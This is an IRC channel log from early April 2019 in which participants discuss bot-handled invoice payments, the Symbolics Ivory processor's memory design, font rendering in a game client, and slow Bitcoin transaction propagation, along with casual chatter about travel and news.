1906438;1554080478;mod6;Evenin' all, the Bitcoin Foundation report will be delayed by a few more days than normal (typically I have it out by the 1st); it'll be done before April 5th though.  Just a heads up.
1906439;1554080784;mod6;!!received-invoices
1906440;1554080791;deedbot;http://p.bvulpes.com/pastes/aYsy0/?raw=true
1906441;1554081676;mod6;!!pay-invoice BingoBoingo 4
1906442;1554081683;deedbot;Get your OTP: http://p.bvulpes.com/pastes/Z0gXi/?raw=true
1906443;1554081909;mod6;!!v 8F2E0C8F2975FE714EB00178DEFC457DDEAAC2A50CE8651A39123C9AE70AEF4C
1906444;1554081913;deedbot;mod6 paid BingoBoingo invoice 4
1906445;1554081920;mod6;Cheers!
1906446;1554104260;bvt;!!up OriansJ
1906447;1554104261;deedbot;OriansJ voiced for 30 minutes.
1906448;1554104277;bvt;OriansJ is the stage0 author, please up him upon request
1906449;1554104298;bvt;OriansJ, you can register a GPG key with deedbot (http://deedbot.org/help.html), i'll rate you and you'll be able to up yourself.
1906450;1554104530;bvt;to give you a short introduction, people from this place have developed FG TRNG (http://nosuchlabs.com/hardware.html), V versioning system (http://btcbase.org/patches?patchset=v), Eulora MMORPG (http://ossasepia.com/), maintain a btc reference node
1906451;1554104557;bvt;started pizarro isp (http://pizarroisp.net/), and wrote FFA crypto library, in case you wondered what 'FFA style' from my investigation report was: http://www.loper-os.org/?p=3141 - vpatch + a write-up for helping fitting-in-head the code
1906452;1554108665;diana_coman;!!key OriansJ
1906453;1554108666;deedbot;Not registered.
1906454;1554126669;mircea_popescu;!!up OriansJ
1906455;1554126670;deedbot;OriansJ voiced for 30 minutes.
1906456;1554126707;mircea_popescu;last chance, lol, ima be off in a few hours.
1906457;1554127172;mircea_popescu;nsh (~lol@wikipedia/nsh) has joined #trilema <<  https://pastebin.com/d0ni33Hx in other keks
1906458;1554127230;mircea_popescu;who knew the proverbial heninger spawn actually ran off with alf's coinage, made themselves the secret pubescent fortress!!
1906459;1554127281;*;asciilifeform forgot where he stole it, but it was old
1906460;1554127311;mircea_popescu;well, either you stole it from ye olde "futurist" dorks, or else they from you.
1906461;1554127342;asciilifeform;actually i think it was from a now-forgotten crackpot us candidate
1906462;1554127369;mircea_popescu;did he run on "upgraded with the times" ~free silver platform ?
1906463;1554127385;asciilifeform;david icke.
1906464;1554127410;mircea_popescu;i thouht that dood was english
1906465;1554127417;asciilifeform;possibly
1906466;1554127418;mircea_popescu;was he running for uk presidency ?
1906467;1554127456;asciilifeform;hrm loox to be moar complicated, saw it via some derp, iirc, who was running for us congress, and cited icke.
1906468;1554127474;mircea_popescu;ah
1906469;1554127485;mircea_popescu;well okthen
1906470;1554127517;asciilifeform;( went, approx., 'evil martians invaded and rule' )
1906471;1554127727;asciilifeform;in other noose, asciilifeform nao has what appears to be full pinout, timing, bus sequence, register, init magic, interrupts, etc. spec for bolix 'ivory' (won't, presently, say from where, unless source wants to be cited, plox to write in. )
1906472;1554127794;asciilifeform;will have a torture board baked at some pt, with socket . but prolly not till later summer at earliest.
1906473;1554128255;asciilifeform;at some pt, possibly earlier, will re-type the thing for publication, but i dun have a nicoleci , so may take a while .
1906474;1554128588;asciilifeform;http://btcbase.org/log/2019-04-01#1906457 << ~indecipherable rubbish..
1906475;1554128588;a111;Logged on 2019-04-01 13:59 mircea_popescu: nsh (~lol@wikipedia/nsh) has joined #trilema <<  https://pastebin.com/d0ni33Hx in other keks
1906476;1554130263;mircea_popescu;asciilifeform, o wow, that sums to almost a workable test harness!
1906477;1554130315;mircea_popescu;asciilifeform, also, you're not expected to understand the arcane wisdom of "lizards hq".
1906478;1554130713;diana_coman;in other lulz, eulora's client complaint that it can't find "reteprelieum" font was caused by the fact that the font-file was called reteprellum while all code (xml! scripts! scriptable!!!) said reteprelieum; now in fairness the font is horrid so it's better it was wrong.
1906479;1554130741;diana_coman;that lizard hq is boring.
1906480;1554131276;mircea_popescu;hahaha
1906481;1554131282;mircea_popescu;take it out.
1906482;1554131414;mircea_popescu;diana_coman, how could it not be, a buncha idle virgin bois derping about "convincing pretense" as to adulthood and whatnot. if it weren't boring as fuck the problem of hiring schoolteachers would be merely difficult, rather than plain impossible.
1906483;1554131663;diana_coman;guess so re derping hq; re fonts, I took that mess of a font out, yes; anyway, this was just on the side while stripping down the "login" window of useless password etc.
1906484;1554131739;asciilifeform;mircea_popescu: it's 100% enuff for a test harness ( thing even has a handy arse port from which it shits microcode instr. in realtime as it runs )
1906485;1554132068;*;asciilifeform impressed by some of the details , apparently thing not only had internal & external ecc for all memory, but iron ecc logger
1906486;1554132093;asciilifeform;could correct 1bit flips and detect+retry 2bit
1906487;1554132180;asciilifeform;or, e.g., accessed memory via a separate iron sequencer, which queued reads/writes and spread between up to 4 separate memories ( ride 1 while the others busy , making the best of slow '80s drams )
1906488;1554132205;asciilifeform;afaik this is item that today's x86crud ~still~ dunhave in any reasonably working form
1906489;1554132308;mircea_popescu;not bad.
1906490;1554132309;asciilifeform;this explains an otherwise strange find of asciilifeform's : that there apparently was a small run of (possibly saphire) 'ivories' for orbit market
1906491;1554132324;asciilifeform;arch, turns out , was inherently suitable for high-rad
1906492;1554132344;mircea_popescu;asciilifeform, i always thought it's the HEIGHT of insanity that if i buy 4 banks of 16gb ram i don't get 4x faster ram access.
1906493;1554132356;asciilifeform;ikr!
1906494;1554132384;mircea_popescu;IF that worked right, THEN (and only then) "all boards come with 4 banks" or "cheaper boards - 2 banks" would have made sense
1906495;1554132396;mircea_popescu;as it is... wtf, make 5, 19, whatever. it's just serial amnyway.
1906496;1554132425;asciilifeform;the bolix people actually did Right Thing -- ran multiphase clock and in fact 'put in 4? get 2x faster ram'
1906497;1554132535;asciilifeform;apparently this is why http://btcbase.org/log/2019-01-28#1890392 and why the item next to it is an iron (mil spec..) multi-tap delayline
1906498;1554132535;a111;Logged on 2019-01-28 01:21 asciilifeform: for extra mindfuck : the primary xtal in the bolix ( valpey-fisher vf155 ) is a <1ppm txco.
1906499;1554132587;asciilifeform;they didn't have programmable pll yet, so they birthed the multiphase the old-fashioned, analogue way. hence temp-controlled .
1906500;1554132747;asciilifeform;in other wtf's, apparently thing had knob for manually controlling the cache prefetcher. sumthing asciilifeform previously thought had 1st appeared in opteron, in '07...
1906501;1554132823;asciilifeform;so, not quite [http://btcbase.org/log/2018-12-20#1882320]['atari'], and in coupla moar ways than asciilifeform previously suspected..
1906502;1554132823;a111;Logged on 2018-12-20 00:45 mircea_popescu: this is no proof. but it does inform what is, for all of us, a reasonable suspicion. you think you have reason to suspect bolix is more notable than atari.
1906503;1554132876;asciilifeform;arguably the real puzzler, is , where the fuck did all of this go when co folded ? did they shoot all the designers ? ( clearly not ~all~, e.g. weinreb even lived to '12 or so , had blog )
1906504;1554132926;asciilifeform;and answr is not , evidently, 'patent purgatory', they folded prior to getting to patent ~any of it
1906505;1554132991;asciilifeform;( there are afaik 2 bolix patents -- 1 , ancient, on the orig. 'l' arch, of 1980-82; other -- on some peculiarity of the video console )
1906506;1554133049;asciilifeform;there must've been some wagner/cyanide in the bolix fuhrerbunker when folded, presently can't think of why else none of the tech had any later life
1906507;1554133495;asciilifeform;http://btcbase.org/log/2019-04-01#1906478 << i had to read 3x before saw anyffin other than 'reptilarium' , lol !
1906508;1554133495;a111;Logged on 2019-04-01 14:58 diana_coman: in other lulz, eulora's client complaint that it can't find "reteprelieum" font was caused by the fact that the font-file was called reteprellum while all code (xml! scripts! scriptable!!!) said reteprelieum; now in fairness the font is horrid so it's better it was wrong.
1906509;1554136642;diana_coman;ahahah, reptilarium sounds even better!
1906510;1554137192;asciilifeform;diana_coman: at some pt we're prolly doomed to bake a proper font renderer
1906511;1554137228;asciilifeform;( trivial if fixed-width font, but i suspect that not errybody is willing to jettison variable font just yet )
1906512;1554137359;diana_coman;that sounds like a farawy problem still, plenty of headaches before getting there as far as I can see.
1906513;1554137382;diana_coman;anyway, client is supposed to be up to players really so they can have it with any horrid font they want
1906514;1554137401;asciilifeform;indeed. i can think of a coupla potential proggies that call for it, tho ( 'tmsr browser' ; hypothetical replacement for emacs ; etc )
1906515;1554137434;asciilifeform;in particular, 'truetype' has been on the Must Die list for many yrs
1906516;1554137475;asciilifeform;( a multi-MB and massively crufty mil+ loc of c liquishit, with 0day published erry quarter or so, for ~decade nao )
1906517;1554137576;asciilifeform;diana_coman: unless i'm mistaken , presently there is only diana_coman's client , iirc
1906518;1554140237;feedbot;http://qntra.net/2019/04/qntra-s-qntr-march-2019-report/ << Qntra -- Qntra (S.QNTR) March 2019 Report
1906519;1554147313;diana_coman;asciilifeform: well, "my client" in the sense that I'm the only one cleaning it up basically
1906520;1554147342;diana_coman;iirc jurov had an attempt at a text-only client
1906521;1554147378;diana_coman;anyway, fonts are not a big concern atm
1906522;1554148382;BingoBoingo;And the pay for your plastic bags rule is now live!
1906523;1554152443;asciilifeform;!!invoice spyked 0.015 postage for http://btcbase.org/log/2019-03-29#1906075 crate (expect it in ~2wks)
1906524;1554152443;a111;Logged on 2019-03-29 14:07 asciilifeform: spyked: ty for the ping , item got literally buried under pile of papers. dug it up nao , and i'ma post it tomorrow morning.
1906525;1554152450;deedbot;Get your OTP: http://p.bvulpes.com/pastes/gnw6E/?raw=true
1906526;1554152474;asciilifeform;!!v 07399D261EB52BA137744F5CA6E658A5A2AFE005C4273AB2E57AD91438CF6486
1906527;1554152479;deedbot;Invoiced spyked 0.015 << postage for http://btcbase.org/log/2019-03-29#1906075 crate (expect it in ~2wks)
1906528;1554152623;asciilifeform;diana_coman: re client -- makes sense
1906529;1554152628;asciilifeform;diana_coman: bags where ?
1906530;1554154421;BingoBoingo;asciilifeform: The local supermarkets, delis, etc. Bags are now 4 pesos each.
1906531;1554154464;BingoBoingo;None of the locals wanted this, and their democracy gave it to the hard.
1906532;1554154666;BingoBoingo;https://www.elobservador.com.uy/nota/por-tres-meses-comercios-te-cobraran-por-un-producto-que-no-te-dan-20194173530
1906533;1554155033;asciilifeform;BingoBoingo: we had this here for years. ( and on top of it -- they give you the kind of bag where 1 potato will fall through in <5min )
1906534;1554155151;BingoBoingo;I acquired two sample bags of the new type today. They appear substantially stronger, with a more uniform quality than the old type which were potato droppers with inconsistently cut handles.
1906535;1554155237;BingoBoingo;I'm wondering about the aesthetic impact this is going to have since no more free trash bags with grocery purchase.
1906536;1554155962;BingoBoingo;Anyways, axe time came for locally important cultural artifact and so far nobody's burning anything down.
1906537;1554156319;feedbot;http://qntra.net/2019/04/f-35-deliveries-to-turkey-suspended-as-turkey-determines-russian-missiles-a-better-value/ << Qntra -- F-35 Deliveries To Turkey Suspended As Turkey Determines Russian Missiles A Better Value
1906538;1554170714;mod6;asciilifeform: Are there any more ,,!,, NSA shirts available?
1906539;1554171375;mod6;danielpbarron: ? ^
1906540;1554171430;danielpbarron;yes i have some
1906541;1554171580;mod6;Ah, cool.  Got 5 or 10?  I wore mine around recently, some people asked about 'em.
1906542;1554171593;danielpbarron;yes
1906543;1554171649;mod6;Alright, cool.  Will hit ya up then when ready to place order.  Cheers!
1906544;1554191607;spyked;http://btcbase.org/log/2019-04-01#1906523 <-- ty, alf! I'll get to this asap
1906545;1554191607;a111;Logged on 2019-04-01 21:00 asciilifeform: !!invoice spyked 0.015 postage for http://btcbase.org/log/2019-03-29#1906075 crate (expect it in ~2wks)
1906546;1554191618;*;spyked goes to play with deedbot wallet
1906547;1554202993;spyked;noob question re bitcoin: is there an expected time for tx propagation to peers' mempools? details: I'm running a fully synced trb node, connected to trusted republican nodes using -addnode. I've sent 2 txen using sendtoaddress ~3hrs ago and none of them are on e.g. blockchain.info so far
1906548;1554203483;spyked;(to be clear, my issue is not of inclusion of said txen in the blockchain, but merely seeing them on nodes other than my own, even if unconfirmed; right now I might as well assume I'm doing something wrong and my node didn't send them at all)
1906549;1554219977;asciilifeform;spyked: i have a (sadly unfinished) http://btcbase.org/log/2018-10-18#1863409 proggy , for exactly these cases, on back burner.
1906550;1554219977;a111;Logged on 2018-10-18 00:49 asciilifeform: in other minor noose, http://p.bvulpes.com/pastes/hKCPp/?raw=true << preliminary db schema for node hunter
1906551;1554220018;asciilifeform;iirc mircea_popescu had a custom in-house ??? for same ( also sadly not published anywhere afaik )
1906552;1554220132;asciilifeform;http://btcbase.org/log/2019-04-02#1906538 << believe or not, asciilifeform recently turned up a crate containing several ( i have nfi, thought i gave'em all to danielpbarron ) but loox like he has you covered
1906553;1554220132;a111;Logged on 2019-04-02 02:05 mod6: asciilifeform: Are there any more ,,!,, NSA shirts available?
1906554;1554228151;*;lobbes just had a moment of "I know I hit this wall before, but forgot the cause"; thankfully logs helped me out once again
1906555;1554228229;lobbes;augmented intelligence of tmsr at work
1906556;1554228826;mp_en_viaje;ha-HA!
1906557;1554228869;mp_en_viaje;saludos del fresco munchen!
1906558;1554228949;mp_en_viaje;http://btcbase.org/log/2019-04-01#1906501 << the evidence is indeed piling up nicely.
1906559;1554228949;a111;Logged on 2019-04-01 15:33 asciilifeform: so, not quite [http://btcbase.org/log/2018-12-20#1882320]['atari'], and in coupla moar ways than asciilifeform previously suspected..
1906560;1554229288;mp_en_viaje;http://btcbase.org/log/2019-04-01#1906511 << problem with fixed width font, in the specific, is that it makes typography (eg, someting like a blog) look like shit, and in the abstract, that it's yet another http://btcbase.org/log/2018-11-04#1869323 : there's no objective reason "all letters 8 px wide", and some pretty great reason w and l don't take same space.
1906561;1554229288;a111;Logged on 2019-04-01 16:47 asciilifeform: ( trivial if fixed-width font, but i suspect that not errybody is willing to jettison variable font just yet )
1906562;1554229288;a111;Logged on 2018-11-04 23:22 mircea_popescu: asciilifeform the fact all your terminals suck isn't an argument in this convo.
1906563;1554229458;mp_en_viaje;http://btcbase.org/log/2019-04-02#1906547 << in principle sub-minute with "whatever" arrangement, sub-second achievable if you baby your network connections.
1906564;1554229458;a111;Logged on 2019-04-02 11:03 spyked: noob question re bitcoin: is there an expected time for tx propagation to peers' mempools? details: I'm running a fully synced trb node, connected to trusted republican nodes using -addnode. I've sent 2 txen using sendtoaddress ~3hrs ago and none of them are on e.g. blockchain.info so far
1906565;1554230558;diana_coman;gruss gott mp_en_viaje
1906566;1554230731;mp_en_viaje;:)
1906567;1554232704;feedbot;http://qntra.net/2019/04/wordpress-plugin-firm-caught-using-customer-sites-as-bots/ << Qntra -- WordPress Plugin Firm Caught Using Customer Sites As Bots
1906568;1554233659;asciilifeform;http://btcbase.org/log/2019-04-02#1906557 << oh hah. asciilifeform only been there coupla times, but never got to uncrate lappy, was always '100 metre sprint' from plane to plane
1906569;1554233659;a111;Logged on 2019-04-02 18:14 mp_en_viaje: saludos del fresco munchen!
1906570;1554233743;asciilifeform;http://btcbase.org/log/2019-04-02#1906560 << it aint that i've anyffin against 'civilized' typography (tho prolly oughta admit, errything outside of graphical www on my boxen is displayed in exactly fixed-bitmap lettering) . simply gotta point out that 'fit 3 l where 1 w goes' is a luxury of sorts, costs moar moving parts than folx who never tried to implement it are typically aware of
1906571;1554233743;a111;Logged on 2019-04-02 18:21 mp_en_viaje: http://btcbase.org/log/2019-04-01#1906511 << problem with fixed width font, in the specific, is that it makes typography (eg, someting like a blog) look like shit, and in the abstract, that it's yet another http://btcbase.org/log/2018-11-04#1869323 : there's no objective reason "all letters 8 px wide", and some pretty great reason w and l don't take same space.
1906572;1554233852;asciilifeform;http://btcbase.org/log/2019-04-02#1906563 << the 1 gotcha, is that if you (or peers) are wedged (genuinely wedged, on db grind; or peers wedged; or stuck on island in sea of prb; or... buncha documented , in log, cases ) then will get exactly 'where the fuck is my tx' errytime
1906573;1554233852;a111;Logged on 2019-04-02 18:24 mp_en_viaje: http://btcbase.org/log/2019-04-02#1906547 << in principle sub-minute with "whatever" arrangement, sub-second achievable if you baby your network connections.
1906574;1554234186;asciilifeform;on acct of the sheer volume of dross 'nodes' on the net, this remains problem even if you personally have sizable herd of nodes
1906575;1554234248;asciilifeform;sorta why asciilifeform wrote (not yet got chance to debug tho -- and not 'proggy is buggy', but to actually handle all possible brokenness of the probed liquishits...) node mapper
1906576;1554234399;asciilifeform;iirc , last i looked, <0.1% of what answers on 8333 even remotely resembles actual node
1906577;1554234409;*;asciilifeform bbl:tea
1906578;1554235929;BingoBoingo;<asciilifeform> iirc , last i looked, <0.1% of what answers on 8333 even remotely resembles actual node << This is an environmental problem.
1906579;1554236786;feedbot;http://blog.lobbesblog.com/2019/04/signature-for-spykeds-keccak-regrind-of-logbot_command_router_python_genesis/ << lobbesblog -- Signature for spyked's Keccak regrind of logb...esis
1906580;1554237007;lobbes;^ fyi phf for future snarfage
1906581;1554237042;lobbes;looks like auctionbot is down, I'ma investigate
1906582;1554241469;feedbot;http://qntra.net/2019/04/fiatbitcoin-interfaces-report-abrupt-drop-in-value-of-fiats/ << Qntra -- Fiat/Bitcoin Interfaces Report Abrupt Drop In Value Of Fiats
1906583;1554263730;mp_en_viaje;http://btcbase.org/log/2019-04-02#1906568 << ah nothing like that, yest sat down for excellent thai. today breakfast at trad biergarten etc.
1906584;1554263730;a111;Logged on 2019-04-02 19:34 asciilifeform: http://btcbase.org/log/2019-04-02#1906557 << oh hah. asciilifeform only been there coupla times, but never got to uncrate lappy, was always '100 metre sprint' from plane to plane
1906585;1554263749;*;mp_en_viaje is enjoying all the little things he knew he missed. such as you know, the god damned water. 
1906586;1554263756;mp_en_viaje;for some reason new world water blows.
1906587;1554263779;*;mp_en_viaje was getting well sick and tired of san pelegrino, also. bs 2nd tier mineral water took over the world on the quiet.
1906588;1554263912;mp_en_viaje;http://btcbase.org/log/2019-04-02#1906570 << no argument that it's expensive (incidentally /me is fully aware, did professional stint in typo, asylum was printed on trad webpress process after a setting by yours truly for example). but by the same hand i'm aware it must be done and is worth doing.
1906589;1554263912;a111;Logged on 2019-04-02 19:35 asciilifeform: http://btcbase.org/log/2019-04-02#1906560 << it aint that i've anyffin against 'civilized' typography (tho prolly oughta admit, errything outside of graphical www on my boxen is displayed in exactly fixed-bitmap lettering) . simply gotta point out that 'fit 3 l where 1 w goes' is a luxury of sorts, costs moar moving parts than folx who never tried to implement it are typically aware of
1906590;1554264033;mp_en_viaje;http://btcbase.org/log/2019-04-02#1906572 << this is true, and good point, most of the time tha tq pops up you're stuck on a reorg or somesuch. trad bitcoin is ~horrible~ re propagation, will not propagate for all sorta bs reasons.
1906591;1554264033;a111;Logged on 2019-04-02 19:37 asciilifeform: http://btcbase.org/log/2019-04-02#1906563 << the 1 gotcha, is that if you (or peers) are wedged (genuinely wedged, on db grind; or peers wedged; or stuck on island in sea of prb; or... buncha documented , in log, cases ) then will get exactly 'where the fuck is my tx' errytime
1906592;1554264164;mp_en_viaje;http://btcbase.org/log/2019-04-02#1906576 << hey, turned tv on hre to see what's new (hreby patented http://trilema.com/2009/doua-curve/#selection-33.144-33.241 process) and was impressed on first pass, "whoa, check out da tedeschi, 1k+ channels hotel tv!!!"
1906593;1554264164;a111;Logged on 2019-04-02 19:46 asciilifeform: iirc , last i looked, <0.1% of what answers on 8333 even remotely resembles actual node
1906594;1554264304;mp_en_viaje;then one got out of the dozen-cloud of rtl-*, prosieben / etc and discovered past #50 or so it's mostly derpy sports / other specialist channels all 20-30 airing the same "genius" late night cable marketing (exact same, why the fuck do you need multiple channels for same bs ? cuz it's spam, true and proper), and then tons of arabic channels which either put out cheap cartoons (qatar) or else broken transmission or w/e, and then past #100 it turne
1906595;1554264305;mp_en_viaje;d out they have... RADIO STATIONS.
1906596;1554264343;mp_en_viaje;the thousand+ turned out to be the exact dozen-and-a-half i remember from the 80s, ie EXACTLY http://trilema.com/2017/fake-news-are-just-one-tail-of-the-failed-female-state/ problem.
1906597;1554264408;mp_en_viaje;but at least i found out theresa may has meanwhile solved the problem -- she'll just ask for a new delay in front of some cheap looking, chinese-made union jacks and behind the derpiest drawing of the queen's crest i ever did see.
1906598;1554264437;mp_en_viaje;the united kingdom looks more and more like a parody channel on chinese television, "the island of buran" or something.
1906599;1554264507;mp_en_viaje;also, guiao or w/e dork in current ukraine is well and truly fucked, isn't he ? (meanwhile i saw some random comedian won 1st round for presidency in previous ukraine, imaginary usg.blue concoction both)
1906600;1554264631;mp_en_viaje;anyway, to get back to the typographical discussion more substantially : there's an important difference between [http://btcbase.org/log/2018-12-19#1881724][natural] and synthetic language at work.
1906601;1554264631;a111;Logged on 2018-12-19 17:09 mircea_popescu: natural language, however, ablates the trees for "convenience" so to speak, ie, uses commonly what's known in computing as sparse trees.
1906602;1554264846;mp_en_viaje;specifically : in natural language, the word is the meaning unit, and it is remembered and parsed as such by the reader portion of the brain. thus http://btcbase.org/log/2016-12-21#1587276 ; but thus also "airy" characters are TERRIBLE : they suggest wordbreak (which is space) and fuck up the cache to the degree this can cost say 3x slowdown.
1906603;1554264846;a111;Logged on 2016-12-21 18:32 mircea_popescu: because no, words don't "have meanings". your meanings for ANY WORD are a function of ALL THE OTHER WORDS YOU KNOW. which is why my definitions regularily blow out english dictionaries, wikipedia and other sources of "wisdom" out of the water - i know more words, and in this knowledge i know all the words i know ~better~. infinitely and irreproducibly so.
1906604;1554264903;mp_en_viaje;meanwhile, in synthetic language, character is the meaning unit, and it is fucking important the function named lil allings with the word www. OR FUCKING ELSE, gott knows we have enough byte errors even without importing a whole new pile of idiocy capable of multiplying them 3x by variable-length that confuses the eye.
1906605;1554264943;mp_en_viaje;so both modes are valid and important, no argument whatsoever of joining them. but i can not, physically, read the shit i read (and belive you me, i ~read~) in fixed point. i'd rather fucking hang.
1906606;1554265442;mp_en_viaje;o look, i got the whole logday all too myself. wheee!!!
1906607;1554265475;*;mp_en_viaje goes to drown trilema.com a little ; #trilema is well drowned for the time being.
1906608;1554270496;mp_en_viaje;well... that's done, too!
1906609;1554270565;mp_en_viaje;what a productive morning.
1906610;1554270573;mp_en_viaje;i guess it's time for breakfast now.
1906611;1554271172;feedbot;http://trilema.com/2019/zece-mii-de-kilometri-de-filme-or-ten-thousand-kilometers-worth-of-movies-either-way/ << Trilema -- Zece mii de kilometri de filme, or Ten Thousand Kilometers' worth of movies. Either way.
1906612;1554271922;mp_en_viaje;oh by the way, ima be checking out the munchen bitcoin club thingee, https://www.meetup.com/Bitcoin-Munich/ item later today.
1906613;1554273311;diana_coman;the tv channels discovery sounds precisely like my early 90's discovery where naive-me thought at first that channel with only X meant they never repeated the stuff.
1906614;1554273412;diana_coman;ersten und originalen Stammtisch - at least it's at a biergarten I hope
1906615;1554274975;mp_en_viaje;looks like it, but if not, i have a lowen thing spotted also.
1906616;1554280572;spyked;http://btcbase.org/log/2019-04-02#1906563 , http://btcbase.org/log/2019-04-02#1906572 <-- was thinking about the same, that txen should diffuse quickly; but then there I was waiting for >1hr at the 4th or so tx sent, and when I looked again it magically propagated *and* got confirmed. why this and none of the previous 3, no idea (one of them had higher tx fee, even)
1906617;1554280572;a111;Logged on 2019-04-02 18:24 mp_en_viaje: http://btcbase.org/log/2019-04-02#1906547 << in principle sub-minute with "whatever" arrangement, sub-second achievable if you baby your network connections.
1906618;1554280572;a111;Logged on 2019-04-02 19:37 asciilifeform: http://btcbase.org/log/2019-04-02#1906563 << the 1 gotcha, is that if you (or peers) are wedged (genuinely wedged, on db grind; or peers wedged; or stuck on island in sea of prb; or... buncha documented , in log, cases ) then will get exactly 'where the fuck is my tx' errytime
1906619;1554280690;spyked;http://btcbase.org/log/2019-04-02#1906579 <-- ohey, cool!
1906620;1554280690;a111;Logged on 2019-04-02 20:26 feedbot: http://blog.lobbesblog.com/2019/04/signature-for-spykeds-keccak-regrind-of-logbot_command_router_python_genesis/ << lobbesblog -- Signature for spyked's Keccak regrind of logb...esis
1906621;1554280885;spyked;!Qlater tell trinque could pl0x look at deedbot deposits when you get the time? fyi, I started two !!deposit and only did the latter; can cancel the former, I'll redo it later if needed
1906622;1554280885;lobbesbot;spyked: The operation succeeded.
1906623;1554281020;spyked;upstack, re. tx propagation voodoo: the good part about this is that it got me into reading trb code and logs re bitcoin and trb. will be back to feedbotworks, but I'll say, this has been instructive
1906624;1554303246;asciilifeform;http://btcbase.org/log/2019-04-03#1906616 << this is a well-known effect ( most famously, possibly involved in how 'bitbet' burned down ) and i've personally observed it erry single time i sent coin in past coupla yrs . tx dun move until you send a conflicting tx . why the miners do this -- i still do not know
1906625;1554303246;a111;Logged on 2019-04-03 08:36 spyked: http://btcbase.org/log/2019-04-02#1906563 , http://btcbase.org/log/2019-04-02#1906572 <-- was thinking about the same, that txen should diffuse quickly; but then there I was waiting for >1hr at the 4th or so tx sent, and when I looked again it magically propagated *and* got confirmed. why this and none of the previous 3, no idea (one of them had higher tx fee, even)
1906626;1554303342;asciilifeform;it's riotously obnoxious and erry time i encounter it , cements in my head the 'mining is a bug'
1906627;1554303418;asciilifeform;strangely enuff, larger fee (in asciilifeform's observations) dun seem to make any diff
1906628;1554303504;asciilifeform;so far the closest thing i have to a hypothesis, is that the fattest chinese want you to issue a set of conflicting tx so the thinner ones end up with longer invalidated chains
1906629;1554303598;asciilifeform;( that, and/or they want moar churn, i.e. moar fee, when you gotta send N tx where previously 1 would have sufficed )
1906630;1554303687;asciilifeform;i dun have the mempool observatory node working yet, so am currently unable to say whether this is widespread problem or asciilifeform simply 'got lucky' errytime
1906631;1554303691;asciilifeform;i suspect -- the former
1906632;1554303907;asciilifeform;http://btcbase.org/log/2019-04-03#1906605 << i entirely agree that reading human text in typewriter chars is painful. gotta point out tho , that 'truetype' monstrosity is not justified thereby, it is possible to have horizontally-variable bitmap font (simply store the # of horiz. pixels as matrix , for 'kerning' space , and otherwise same )
1906633;1554303907;a111;Logged on 2019-04-03 04:15 mp_en_viaje: so both modes are valid and important, no argument whatsoever of joining them. but i can not, physically, read the shit i read (and belive you me, i ~read~) in fixed point. i'd rather fucking hang.
1906634;1554303973;asciilifeform;iirc that's how the bolix people did it ( 2 fonts on the machine , 1 - typewriter, 1 - horiz. variable )
1906635;1554304165;asciilifeform;imho the 'machine has 9000 fonts and each 1 is a gnarly proggy for turing-complete ball of 1m+loc c turd' is quite similar to the 'american shop where 9000 brands of toothpaste and each 1 fulla corn syrop' thing
1906636;1554304197;*;asciilifeform bbl:tea
1906637;1554305581;BingoBoingo;http://btcbase.org/log/2019-04-03#1906599 << Indeed. Can't even get Maduro to arrest him. China's got their Army Liberation People on the ground and in uniform handing out aid.
1906638;1554305581;a111;Logged on 2019-04-03 04:08 mp_en_viaje: also, guiao or w/e dork in current ukraine is well and truly fucked, isn't he ? (meanwhile i saw some random comedian won 1st round for presidency in previous ukraine, imaginary usg.blue concoction both)
1906639;1554308436;feedbot;http://qntra.net/2019/04/english-judge-i-cannot-think-of-any-more-obviously-fundamental-human-right-than-the-right-of-a-man-to-have-sex-with-his-wife/ << Qntra -- English Judge: "I Cannot Think Of Any More Obviously Fundamental Human Right Than The Right Of A Man To Have Sex With His Wife"
1906640;1554311584;asciilifeform;http://btcbase.org/log/2019-04-03#1906628 << to expand on this: say you issued tx1 where input i and output o1. he sees it, it goes to back of queue, as uninteresting, he does not mine it himself, but does relay to competitors. but if you also issue a and tx2, where input i and output o2, o2 != o1 , ~then~ tx2 goes to front of his queue, as by mining it he can throw caltrop to the competing miners , invalidating their chain
1906641;1554311584;a111;Logged on 2019-04-03 14:58 asciilifeform: so far the closest thing i have to a hypothesis, is that the fattest chinese want you to issue a set of conflicting tx so the thinner ones end up with longer invalidated chains
1906642;1554311620;asciilifeform;so tx2 gets mined ~immediately .
1906643;1554311647;asciilifeform;* a tx2
1906644;1554311870;asciilifeform;the 1 obv. hole in the hypothesis is that often enuff it is ~tx1~ that gets mined when tx2 is broadcase.
1906645;1554311874;asciilifeform;*broadcast
1906646;1554311927;asciilifeform;tho it is not necessarily evidence against it, could simply mean that 'fat miner' lost the race in that particular case to a runner-up
1906647;1554312046;asciilifeform;elementary napkin gametheoretical arithm suggests that it is always +ev to mine a tx for which you know a conflicting one has been issued , vs. 1 for which you do not know of one , ~if~ you think you have better connectivity (i.e. more likely to be the 1st to see the split) than other miners ( and i suspect that each of'em thinks he has best connectivity, somehow )
1906648;1554312168;asciilifeform;... if indeed this is happening, it may also explain some of the churn liquishit that they pad blocks with -- if he cannot find a tx1-tx2 pair in the wild, then... why not generate himself.
1906649;1554312266;asciilifeform;( trivially, generating a tx 'to self' only costs you anyffin if ~someone else~ mines it )
1906650;1554312333;BingoBoingo;I suspect a large portion of the junk nodes might simply not be relaying transactions.
1906651;1554312363;asciilifeform;BingoBoingo: this is entirely separate q from the 'i sent tx1 and no one mines but then sent tx2 and bang'
1906652;1554312418;asciilifeform;BingoBoingo: unless , i suppose, you know of some prb variant that in fact preferentially relays 'double spends'
1906653;1554312446;BingoBoingo;Well, if the USG has a fleet I don't know why they wouldn't prefer to propagate double spends
1906654;1554312646;asciilifeform;BingoBoingo: prb ~does~ iirc have a lulzy notion that it can somehow prefer 1 tx in an n-spend tuple ~in mempool~ as 'the real tx' (the protocol offers no such mechanism, of course, tx dun contain anyffin to tie it to e.g. leading block when-issued , only a promisetronic timestamp that can equal whatever the issuer wants)
1906655;1554312654;asciilifeform;so conceivably this also in play
1906656;1554312714;asciilifeform;http://www.loper-os.org/?p=165#selection-393.393-393.502 << oblig
1906657;1554312813;asciilifeform;that being said, none of the prb's asciilifeform dissected to date, appeared to contain any mechanism that would preferentially propagate a tx in an n-spend set vs 'ordinary'
1906658;1554312847;asciilifeform;therefore i suspect specifically the miners, for whom by a certain set of prior this idiocy appears +ev
1906659;1554313012;asciilifeform;granted , it is impossible to say what exactly the 9000 garbage 'nodes' are running, it could be a published prb , or just about anyffin else entirely.
1906660;1554313064;asciilifeform;for all i know, even mempool observatory would not necessarily tell you, there is 0 to stop a usg node from relaying one notional mempool to 1 peer and another to another, based on ???
1906661;1554313173;asciilifeform;i'd be quite curious to hear what trinque says about all of this; i expect today he does the most on-chain work of anyone here
